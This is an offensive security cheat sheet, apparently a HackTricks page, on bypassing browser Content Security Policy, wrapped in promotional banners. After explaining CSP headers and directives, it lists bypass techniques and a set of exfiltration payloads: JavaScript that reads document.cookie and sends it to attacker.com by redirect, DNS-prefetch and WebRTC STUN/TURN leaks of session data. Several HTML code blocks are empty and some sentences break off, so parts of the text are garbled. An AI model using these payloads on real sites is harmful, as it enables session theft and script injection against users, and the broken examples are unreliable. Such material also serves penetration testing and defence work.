# Content Security Policy (CSP) Bypass
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! ## What is CSP Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at **shielding against attacks such as cross-site scripting (XSS)**. It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like `eval`, `setTimeout`, or `setInterval`. Implementation of CSP is conducted through **response headers** or by incorporating **meta elements into the HTML page**. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations. - Implemented via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - Implemented via meta tag: ```xml ``` ### Headers CSP can be enforced or monitored using these headers: * `Content-Security-Policy`: Enforces the CSP; the browser blocks any violations. * `Content-Security-Policy-Report-Only`: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments. ### Defining Resources CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of `eval()`. An example policy is: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Directives * **script-src**: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets. * **default-src**: Sets a default policy for fetching resources when specific fetch directives are absent. * **child-src**: Specifies allowed resources for web workers and embedded frame contents. * **connect-src**: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest. * **frame-src**: Restricts URLs for frames. * **frame-ancestors**: Specifies which sources can embed the current page, applicable to elements like ``, ` // The bot will load an URL with the payload ``` ### Via Bookmarklets This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass by restricting CSP In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. You can **restrict a CSP of an Iframe** with the **`csp`** attribute: {% code overflow="wrap" %} ```html ``` {% endcode %} In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\ CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: ```html ``` ### JS exfiltration with Content-Security-Policy-Report-Only If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. ### Location You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta tag You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) ```html ``` ### DNS Prefetch To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ You can indicate a browser to pre-resolve a hostname with: `` You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` Another way: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` In order to avoid this from happening the server can send the HTTP header: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Apparently, this technique doesn't work in headless browsers (bots) {% endhint %} ### WebRTC On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. Actually you can _leak_ informations using a _DNS request_. Check out this code: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` Another option: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## Checking CSP Policies Online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatically creating CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## References * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! **Hacking Insights**\ Engage with content that delves into the thrill and challenges of hacking **Real-Time Hack News**\ Keep up-to-date with fast-paced hacking world through real-time news and insights **Latest Announcements**\ Stay informed with the newest bug bounties launching and crucial platform updates **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.